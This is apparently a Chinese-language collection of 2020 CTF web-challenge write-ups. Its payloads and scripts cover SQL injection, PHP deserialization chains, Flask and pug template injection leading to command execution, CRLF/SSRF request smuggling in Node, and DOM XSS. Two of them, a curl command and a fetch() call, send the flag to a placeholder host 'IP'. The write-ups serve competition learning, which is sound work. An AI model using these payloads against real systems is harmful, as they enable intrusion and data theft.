2020WriteUp 汇总 VOL 1

  18 mins to read  


ichunqiu新春战役公益赛

DAY 1

简单的招聘系统

登录存在注入,1'||id=1#登录admin账号, admin账号处可查询用户key,二次注入(ichunqiu平台貌似限制了请求最大响应时间)

SQL为INSERT INTO log(key, uname, profile) (SELECT key, uname, profile WHERE key=''),通过修改普通用户的profile,用admin来查询,二次 + 报错注一下就行了

profile=123' and 1=(updatexml(1,mid(concat(0x25,(select flaaag from flag)),16,32),1)))#

简单上传

无过滤,不知道这题想干嘛

babyphp

这题出的还行,但就是太刻意了,为了出题而出题,写了一堆莫名其妙的魔术方法,代码水平我也就不吐槽了

反序列化链:

UpdateHelper.__destruct
User.__toString
Info.update -> Info.__call
Info.CtrlCase.login  // argument可控
dbCtrl.login

反序列化点在user.update,将对象注入到user.age,利用过滤函数增加字符长度来溢出,注入类成员(类似于Joomla3.4.6 RCE)

public function update()
{
    $Info = unserialize($this->getNewinfo());
    $age = $Info->age;
    $nickname = $Info->nickname;
    $updateAction = new UpdateHelper(
        $_SESSION['id'],
        $Info,
        "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']
    );
    //这个功能还没有写完 先占坑
}
public function getNewInfo()
{
    $age = $_POST['age'];
    $nickname = $_POST['nickname'];
    return safe(serialize(new Info($age, $nickname)));
}

EXP:

<?php

function safe($parm) {
    $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
    return str_replace($array, 'hacker', $parm);
}

class User {
    public $id;
    public $age = null;
    public $nickname = null;
}

class Info {
    public $age;
    public $nickname;
    public $CtrlCase;
}

class UpdateHelper {
    public $id;
    public $newinfo;
    public $sql;
}

class dbCtrl {
    public $hostname = "127.0.0.1";
    public $dbuser = "noob123";
    public $dbpass = "noob123";
    public $database = "noob123";
    public $name;
    public $password;
    public $mysqli;
    public $token;
}

$uh = new UpdateHelper;
$u = new User;
$i = new Info;
$dc = new dbCtrl;

$dc->name='admin';
$dc->password='p';
$i->CtrlCase = $dc;
$u->nickname = $i;
$u->age = 'SELECT id, 0x3833383738633931313731333338393032653066653066623937613863343761 FROM user WHERE username=?';
$uh->sql = $u;

$exp = serialize($uh);

$ii = new Info;
$ii->age = '1*********************************************************************************************************";s:8:"nickname";'.$exp.'s:8:"CtrlCase";N;}';

echo $ii->age;

请求后可设置$_SESSION[‘token’]为admin,拿到Cookie后切到login.php登录admin,密码随意,登录逻辑会直接设置login=1,然后跳转到update.php就可以拿flag了

EXP试了下完全没问题,不知道为啥注入对象的析构函数没有被调用(玄学?)

P.s. 既然能控制mysql连接了,利用load local infile直接读flag.php应该也可行,具体看题目环境配置了

2020/2/25更新:今天又看了一下,发现是因为PHP未处理异常会导致脚本直接终止而不调用析构函数。因为后面这一句类型转换报错:

$updateAction = new UpdateHelper(
    $_SESSION['id'],
    $Info,
    "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']
);

Catchable fatal error: Object of class UpdateHelper could not be converted to string in lib.php on line 155

阿P,真有你的啊。我寻思你好歹带个GC,退出时不该把收尾工作做了吗

所以这题不要把对象注入到age或nickname:

import requests

data = {
    'age': '1*********************************************************************************************************";s:8:"nickname";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:104:"SELECT id, 0x3833383738633931313731333338393032653066653066623937613863343761 FROM user WHERE username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";s:1:"p";s:6:"mysqli";N;s:5:"token";N;}}}}s:8:"CtrlCase";N;}',
    'nickname': '',
}

data={
    'nickname': '1*****************************************************************************************************unionload";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:104:"SELECT id, 0x3833383738633931313731333338393032653066653066623937613863343761 FROM user WHERE username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";s:1:"p";s:6:"mysqli";N;s:5:"token";N;}}}}}',
    'age': '',
}

r = requests.post(
    'http://127.0.0.1/update.php', data=data
)

print(r.text)
print(r.headers)

babysqli

没时间看了,看解题人数比上一题反序列化简单

DAY 2

easysqli_copy

PDO堆叠 + 宽字节 + 延时,家里路由器无线桥接后信号一直不太好,脚本跑了半天。延时注入有必要弄一堆奇怪又长的列名来浪费时间吗,而且题目本身就select了一列,flag占一列,为什么要设置总共>=四列,觉得你的列名很萌萌哒吗

// python2
import requests

url = 'http://addeb1bebcfb48f6a3e6a2c74972ef2fa77a6c4ab4fb41f9.changame.ichunqiu.com/?id='

flag = 'flag{09d3acb6-'

# balabala,eihey,fllllll4g,(后面还有列,我服了,憨憨出题人)
for i in range(15, 50):
    for w in '-0123456789abcdef}':
        _id = '%bf%27;set%20@sql=0x{};prepare%20stmt%20from%20@sql;execute%20stmt;/*'
        payload = 'select if(ascii(mid((select group_concat(fllllll4g) from table1),{},1))={},sleep(3),0)'.format(i, ord(w))
        _id = _id.format(payload.encode('hex'))

        try:
            requests.get(url+_id, timeout=3)
        except:
            flag += w
            break
    print(flag)

another 2 SQLi

又是注入,不做了88

DAY 3

最后一天了认真打,今天ak了

FlaskApp

Python3.7.4的SSTI,下了个Python3.7的解释器,发现内置类的架构被重构了,之前常用的payload已经不能通过object.__subclasses__访问到了

看了一下_frozen_importlib.BuiltinImporter可以用,测了一下服务器上的索引是80

EXP:

>>> b("{{''.__class__.__mro__[-1].__subclasses__()[80].load_module('o'+'s')['po'+'pen']('cat this_is_the_fl'+'ag.txt').read()}}")
b'e3snJy5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVs4MF0ubG9hZF9tb2R1bGUoJ28nKydzJylbJ3BvJysncGVuJ10oJ2NhdCB0aGlzX2lzX3RoZV9mbCcrJ2FnLnR4dCcpLnJlYWQoKX19'

node_game

这题出的不错,有点麻烦,做了四个小时

拿到代码读了一遍就猜到是CRLF注入一个POST请求来上传模板文件来RCE

首先看一下怎么注入,unicode安全问题,参考这个链接https://xz.aliyun.com/t/2894

SSRF的流程是:

  • Express获取GET query (此时urldecode一次)
  • 将query拼接到/source?后面,丢给http.get请求,此时会urlencode一次
  • CRLF注入一个POST请求访问file_upload接口,HTTP协议报文的控制字符需要是non-encode的

因为payload是在最外层报文的GET query里,所以只能利用node.js中http.get转义unicode的feature来处理特殊字符,GET请求里注入\u0120, \u010d, \u010a等字符,Express拿到就是对应unicode,交给http.get则会被转换为对应ascii,而不会被urlencode

请求注入这里比较麻烦,本地监听后慢慢试,除此之外,第一个报文给个keep-alive,防止连接断开(经验之谈,我不确定不加会不会失败)

注入一个POST请求成功后,需要上传一个pug模版,google一下pug模板即可。字符串过滤随便绕一下就行了

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('whoami').toString()")
-return x

上传后需要加载模板,可以看到/?action=可加载,不过限制了路径穿越,这里就很刻意了。在上传路由里保存了两次,一个重命名了保存在dist,另一个副本保存在uploads/MIME_TYPE/FILE_NAME,在MIME里跳一下目录到template就行了

EXP:

import requests


payload = """2 HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=------------------------a6a8d18957515a9a

{}""".replace('\n', '\r\n')

body = """--------------------------a6a8d18957515a9a
Content-Disposition: form-data; name="file"; filename="evil2.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
--------------------------a6a8d18957515a9a--

""".replace('\n', '\r\n').replace('+', '\u012b')

payload = payload.format(len(body), body)   \
        .replace(' ', '\u0120')             \
        .replace('\r\n', '\u010d\u010a')    \
        .replace('"', '\u0122')             \
        .replace("'", '\u0a27')             \
        .replace('[', '\u015b')             \
        .replace(']', '\u015d')             \
        + 'GET' + '\u0120' + '/'

print(requests.get('http://101.200.195.106:33322/core?q=' + payload).content)
#print(requests.get('http://127.0.0.1:8081/core?q=' + payload).content)

然后访问一下/?action=evil2就行了

ezExpress

配置错误,直接给flag了

easy_thinking

TP6.0的任意文件写:

https://www.smi1e.top/thinkphp6-0-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E/

getshell后用GC_UAF绕过disabled_functions

安恒新春抗疫

easyflask1

没啥意思的题,权限还给的root

/%7B%set%20x,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,c=request['args']['x'],request['args']['a1'],request['args']['a2'],request['args']['a3'],request['args']['a4'],request['args']['a5'],request['args']['a6'],request['args']['a7'],request['args']['a8'],request['args']['a9'],request['args']['a10'],request['args']['a11'],request['args']['c']%%7D%7B%7B""[x*2%2Ba2%2Bx*2][x*2%2Ba3%2Bx*2][-1][x*2%2Ba4%2Bx*2]()[224][x*2%2Ba5%2Bx*2][x*2%2Ba7%2Bx*2][x*2%2Ba6%2Bx*2]['eval'](c)%7D%7D?x=_&a1=getitem&a2=class&a3=mro&a4=subclasses&a5=init&a6=builtins&a7=globals&c=__import__('os').popen('cat%20/flag').read(

其他三道Web

安恒什么题都收,质量太低了

XCTF高校战疫

webtmp

用我工具直接秒:https://github.com/eddieivan01/pker

导入当前全局的secret module并修改name和category即可。题目ban了’R’,也就是不能直接调用callable对象,pker有三个内置宏,除了GLOBAL其它两个都可以当’R’用

a = GLOBAL('__main__', 'Animal')
s = GLOBAL('__main__', 'secret')
s.name = 1
s.category = 1
return OBJ(a, 1, 1)


python3 pker.py < webtmp.pk
b"c__main__\nAnimal\np0\n0c__main__\nsecret\np1\n0g1\n(}(S'name'\nI1\ndtbg1\n(}(S'category'\nI1\ndtb(g0\nI1\nI1\no."

webct

题目功能点很刻意,上传图片 + 连接指定MySQL Server

即利用MySQL load local infile反序列化phar

先上传phar

<?php
    class Fileupload {
        public $file;   
    }
    class Listfile {
        public $file;
    }

    $o = new Fileupload;
    $o->file = new Listfile;
    $o->file->file = ';/readflag';

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

服务器上用rogue-mysql-server读取phar://..../xx.gif即可RCE

sqlcheckin

这源码给的意义是啥?

username=admin&password=0’+’0

dooog

出题人用三个Flask Server模拟了krb认证流程

先由client获取TGT,再持TGT获取Ticket,最后用Ticket请求cmd_server。对cmd的校验发生在持TGT请求ticket的阶段,假如我们想绕过KDC的校验,只能拿到cmd_server的master_key直接伪造Ticket,但实际是不可能的

之后注意到KDC校验过程中程序控制流存在漏洞

if data['username'] == auth_data[0] == username:
    if int(time.time()) - data['timestamp'] < 60:
        if 0 and cmd not in ['whoami', 'ls']:
            return 'cmd error'
    session_key = genSession_key()
    session_key_enc = base64.b64encode(
        cryptor.encrypt(session_key))
    cryptor = AESCipher(auth_data[1])
    client_message = base64.b64encode(cryptor.encrypt(session_key))
    server = User.query.filter_by(username='cmd_server').first()
    cryptor = AESCipher(server.master_key)
    server_message = base64.b64encode(
        cryptor.encrypt(session_key + '|' + data['username'] +
                        '|' + cmd))
    return client_message + '|' + server_message

时间戳校验大于60则不校验cmd,且题目的KDC和cmd_server都监听在公网

EXP修改一下题目的client即可

import requests
import base64
import json
from toolkit import AESCipher
import time

username = 'iv4n'
master_key = 'aaaaaaaa'
cmd = 'curl http://IP/`/readflag`'

cryptor = AESCipher(master_key)
authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))

res = requests.post('http://121.37.164.32:5001/getTGT', 
    data={'username': username, 'authenticator': base64.b64encode(authenticator)})

session_key, TGT = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])), res.content.split('|')[1]
print('GET TGT DONE')
#visit TGS
cryptor = AESCipher(session_key)
authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': 1}))
res = requests.post('http://121.37.164.32:5001/getTicket',  data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': TGT})

client_message, server_message = res.content.split('|')
session_key = cryptor.decrypt(base64.b64decode(client_message))
cryptor = AESCipher(session_key)
authenticator = base64.b64encode(cryptor.encrypt(username))
res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator})

PHP-UAF

watch这个repo就行了:https://github.com/mm0r1/exploits

这次用PHP7-backtrace-bypass

hackme

没搜到compress.zlib://data:@127.0.0.1/plain;base64,{},队友做的

data这种层级伪协议为什么能不加//,迷惑。测试了一下,PHP中以下几种写法都是可以的:

data:text/plain;base64,aa==
data:/text/plain;base64,aa==
data://text/plain;base64,aa==

data:@127.0.0.1/text/plain;base64,aa==
data:/@127.0.0.1/text/plain;base64,aa==
data://@127.0.0.1/text/plain;base64,aa==

step1

源码很刻意,两种serialize handler混用的问题

step2

byteCTF的姿势,用上面的compress.zlib://data:@host绕过,后面就是hitcon的4字符利用ls -tgetshell

nweb

前端源码里hidden input,type填110,然后有个过滤为空的WAF。盲注一下,后台是MySQL load local infile

fmkq

step1

head=\&begin=%s%&url=http://127.0.0.1:8080

step2

fuzz出了{file}会被替换为errorquanbumuda,但是没测试出字符串插值

(string + "").format(file=val)

这里面可以访问参数属性,但不能调用函数,所以通过file.vip.__dict__能拿到vipcode

然后就可以读源码了,发现过滤了fl4g,找个’f’即可:vipfile.file[0]

babyjava

过滤了&,OOB可以带出/hint.txt(HTTP协议即可,出题人把pom.xml编码压缩到一行了)。而且这题可能是jdk版本过高,FTP也带不出多行文件,(1.8.0u111之类的没问题)

pom.xml提示了

Method post
Path  /you_never_know_the_path

存在fastjson 1.2.48

过滤了type,试了一下\x可以绕,后面不会,完全不懂Java sec。看WP是fastjson的trick:

而prefix是想考fastjson会自动处理理 - 和 _ 的特性,在fastjson中, parseField 这个函数⾥ 会去掉字符串中的 - 和开头的下划线,因此带个 - 就可以了了

nothardweb

我晚上脑子不清醒,index页提示的很明显了,给了第一个用户和第228个用户的id,也就是1和228的随机数。用前段时间那个reverse_mt_rand脚本就可以逆出seed

逆出seed就能拿到KEY,然后用全0的IV解密第一个block,再将正常值和全0IV解密值异或一下就能拿到真IV了

key生成时与了个10 ^ 9 - 1,直接爆破也行

等等,做了与运算,那上面的逆seed的思路就不通了,搞不懂出题人本意是啥

后面看WP就是内网一个Tomcat PUT

P.s. 其实还有非预期解,题目逻辑是如果Cookie中没有hash或user的话会设置KEY和IV到SESSION,因为KEY和IV是从SESSION取的,如果为NULL的话,PHP会有warning不过还是能正常加解密。为啥我也没想到

easy_trick_gzmtu

题目提示了传参?time=2020 / ?time=Y都可以,其实就是把参数丢给date转了一下。我这样FUZZ的结果感觉是过滤了单个字符串:?time=2019'||'{}1'#,我为啥就想不到是date format

happyvacation

这个XSS做时就知道要上传wave(aaaaaaaaaaaaa/*bbbbbbbbbbbbbbbb*/="test";alert(1))绕CSP,但感觉绕不过这个正则就放弃了

function leaveMessage($message){
    if(preg_match('/coo|<|ja|\&|\\\|>|win/i', $message)){
        $this->message = "?";
    }
    else{
        $this->message = addslashes($message);
    }
}

应该多留意一些可疑的功能,比如URLHelper里的

function go(){
    if(isset($this->pre) and isset($this->after) and isset($this->location)){
        $dest = $this->pre . $this->location . $this->after;
        header($dest);
    }
    else{
        // Error occured?
        header("Location: index.php");
    }
}

正解就是通过header来改变页面编码:

Content-Type: text/html; charset=GBK

然后宽字节逃逸出单引号

P.s. 非预期是通过里面一个可疑的eval覆盖掉上传黑名单

if(preg_match("/[^a-zA-Z_\-}>@\]*]/i", $answer)){
    $this->message = "no no no";
}
else{
    if(preg_match('/f|sy|and|or|j|sc|in/i', $answer)){
        // Big Tree 说这个正则不需要绕
        $this->message = "what are you doing bro?";
    }
    else{
        eval("\$this->".$answer." = false;");
        $this->updateList();
    }
}

因为它所有的功能类都被放到到User类的成员了

我为什么又没想到

GuessGame

JS的toUpperCase转拉丁字母特性触发merge

用原型链污染设置enableReg,进这个短路求值的最后一项

config.enableReg && noDos(regExp) && flag.match(regExp)

后面很明显用regexp做侧信道攻击,我也写过正则DFA,但我就是想不出怎么构造。Google搜到的全是RE DOS,就是没找到怎么精确控制每一位

看WP有这个链接:https://blog.rwx.kr/time-based-regex-injection/

fl(((((.*)+)+)+)+)!

这种方法匹配到最后几位会失效,因为最后几位匹配时间都很短,网络I/O干扰很大

De1ta的payload,从后往前,这种方法跑到前几位时延时会很长

^((((.*)+)+)+)+[^b]zY$

所以两种payload结合起来就可以了

CONFidenceCTF2020

首发于先知社区

hidden_flag

进去后是个mquery-web,也就是yara的Web前端,可以自写rule来匹配目录中的文件内容

尝试一下

rule evil {
    strings:
        $s = "p4{"
    condition:
        $s
}

可以看到匹配出来/opt/bin/getflag,正常情况下可以直接通过/api/download路由下载文件的,不过该题应该是改了源码,该路由会返回401(亏我还去翻历史版本看哪里加了限制)

思考了一下,应该是盲注没跑了,首先手动二分一下确定flag字符串的offset是1796:

rule evil {
	strings:
		$s = "p4{"
	condition:
		$s and $s in (1796..1798)
}

然后写个脚本盲注就好了:

import requests

# 5KB - 6KB
payload = """rule evil{{
strings:
    $s = "{}"
    condition:
        $s and $s in (1796..{})
    }}"""

url = 'https://hidden.zajebistyc.tf'
proxy = {'https': 'socks5://127.0.0.1:1080'}

flag = "p4{ind3x1ng-l3ak5}"
for i in range(16, 50):
    for w in """abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`~!@#$%^&*()_-+='}{[];<>?/""":
        if w == '"':
            w = '\\"'

        _p = payload.format(flag + w, 1798 + i)
        print(w)
        r = requests.post(
                url + '/api/query/medium',
                json={'method': 'query', 'raw_yara': _p},
                proxies=proxy,
        )
        try:
            h = r.json().get('query_hash')
        except:
            print(r.text)
            continue
        if h is not None:
            r = requests.get(f'{url}/api/matches/{h}?offset=0&limit=50', proxies=proxy)
            if '/opt/bin/getflag' in r.text:
                flag += w
                if flag[-1] == '}':
                    print(flag)
                    exit()
                break
    print(flag)

CatWeb

tags: DOM XSS,SSRF,特权域的SOP

进入首页查看源码:

图片.png

可以发现一个非常明显的DOM XSS,即拼接了newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';

看一下kind和cat变量是否可控:首先是kind,kind是提交到接口的参数,如果不在白名单内的话返回值的status为error,无法走到拼接innerHTML的语句。cat是接口的返回值,看起来更加不可控

但是经过简单Fuzz可以发现,接口的JSON返回值是直接拼接而没有做转义的:

图片.png

JSON中重复的键后者可覆盖前者,以此覆盖status

图片.png

覆盖content的内容:

http://catweb.zajebistyc.tf/?grey","status":"ok","content":["\"><script>alert`1`</script><!--"],"a":"

DOM XSS的部分到这里结束了,但是X了bot半天,发现没有Cookie,Storage里空的,源码里没flag,又探测了一下内网常见的端口也毫无收获,接着看到hint:Note: Getting the flags location is a part of the challenge. You don't have to guess it.

回顾一下前面,由src="static/'+kind+'/'+cat+'"/cats?kind=可以想到它是个列目录的接口,尝试一下目录穿越:

图片.png

可以看到flag在Flask的模版目录下,接下来通过XSS请求file协议访问本地文件系统就行了

但是直接提交给bot http://catweb.zajebistyc.tf/?grey","status":"ok","content":["\"><script>fetch('file:///app/templates/flag.txt')</script><!--"],"a":"肯定是不行的,特权域和普通域之间属于跨域请求

很容易想到通过另一个file特权域来请求,看一下MDN怎么说:

In Gecko 1.8 or earlier, any two file: URIs are considered to be same-origin. In other words, any HTML file on your local disk can read any other file on your local disk. Starting in Gecko 1.9, files are allowed to read only certain other files. Specifically, a file can read another file only if the parent directory of the originating file is an ancestor directory of the target file. Directories cannot be loaded this way, however. For example, if you have a file foo.html which accesses another file bar.html and you have navigated to it from the file index.html, the load will succeed only if bar.html is either in the same directory as index.html or in a directory contained within the same directory as index.html.

题目是FF67(实际上也只有FF允许用XHR请求file协议),所以当两个file在相同目录时,或被读取file在发起请求的file的子目录时属于同源。符合这里的情况,/app/templates/index.html -> /app/templates/flag.txt,而且index.html中没有动态内容

构造出最终的payload:

file:///app/templates/index.html?grey","status":"ok","content":["\"><script>fetch('file:///app/templates/flag.txt').then(r=>r.text()).then(data=>fetch('http://IP/'%2Bbtoa(data)))</script><!--"],"a":"

图片.png

TemplateJS

tags: ES6,template programming

这是一道node.js的沙盒题,根据题目提示ECMAScript 6 brought in a new paradigm to JavaScript: template programming!!111 ... kinda需要用到ES6某些关于模版的trick

题目源码

图片.png

使用vm模块构造了一个沙盒,最终目标是逃逸沙盒并访问到全局作用域中的flag变量

输入字符存在一个白名单,假如白名单中能多一个dot的话,其实就很简单了,参考vm沙盒逃逸payload

this.constructor.constructor\`return global.flag\`\`\`

首先来了解一下ES6 template

本质其实就是个语法糖,类似于字符串插值,由飘号包裹,${}中为动态计算的插值

> console.log(`${1+1} == ${1+2} => ${1+1 == 1+2}`)
2 == 3 => false

有些XSS payload使用了alert`1`,实际上这也属于template,即tagged template。下面的例子可以很好的展示

图片.png

所以在这道题中,虽然能访问到eval,并且能通过tagged template调用,但你没办法利用它,因为它接收到的参数是个list

翻一下MDN发现还有一个类似于eval可以做元编程的东西:Function (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function) 而且它可以访问到全局作用域:

Functions created with the Function constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the Function constructor was created. This is different from using eval with code for a function expression.

MDN还给了一个展示Function作用域访问规则的例子:

var x = 10;

function createFunction1() {
    var x = 20;
    return new Function('return x;'); // this |x| refers global |x|
}

function createFunction2() {
    var x = 20;
    function f() {
        return x; // this |x| refers local |x| above
    }
    return f;
}

var f1 = createFunction1();
console.log(f1());          // 10
var f2 = createFunction2();
console.log(f2());          // 20

Function接收这样的参数:Function('a', 'b', 'console.log(a+b)')。最后一个参数是要执行的代码,类型可以是列表,自定义参数也可以是列表:

> Function(['console.log(1)', 'console.log(2)'])()
1
2
undefined
> Function(['a', 'b'], 'console.log(a);console.log(b)')(1, 2)
1
2
undefined

那么利用上面tagged template的trick,将代码段放在最后一个参数中:

图片.png


回到题目中,我们的目标是构造出this.constructor.constructor('return global.flag')(),因为涉及到访问属性很麻烦,那么把this省略,又因为Function的作用域访问规则,global也可以省略,即constructor.constructor('return flag')()

这段代码需要一次属性访问,在没有.[]的情况下,可以使用with语句:

图片.png

但白名单中没有(),注意到出题人给沙盒传入了一个par lambda,它就是用来构造(val)的:

vm.createContext({par: (v => `(${v})`), source, help})

改写一下目标代码:Function('with(constructor){return constructor("return flag")()}'),然后用tagged template和par函数替换:

Function`s${`with${par`constructor`}{return constructor${par`return flag`}${par``}}`}`

执行一下有报错:

> Function`s${`with${par`constructor`}{return constructor${par`return flag`}${par``}}`}`
SyntaxError: Unexpected token return

debug一下看到,这里的return flag不是个字符串

> foo`s${`with${par`constructor`}{return constructor${par`return flag`}${par``}}`}`
[ 's', '' ]
[ 'with(constructor){return constructor(return flag)()}' ]

白名单中没有'",也没有\\来转义内部的飘号,只能考虑别的做法

为了解决这个问题,我们可以将要交给constructor.constructor执行的代码字符串当做最外层的Function的自定义参数传入。于是内层constructor.constructor接收到的参数就是一个列表['code'],但不影响,因为constructor.constructor本身就是Function,所以符合上文提到的代码参数可为列表的特性

于是将return flag当做形参s的实参传入就行了,最终实际执行的是:

Function(['s'], ['with(constructor){return constructor(s)()}'])(['return flag'])

最终的payload:

Function`s${`with${par`constructor`}{return constructor${par`s`}${par``}}`}``return flag`

图片.png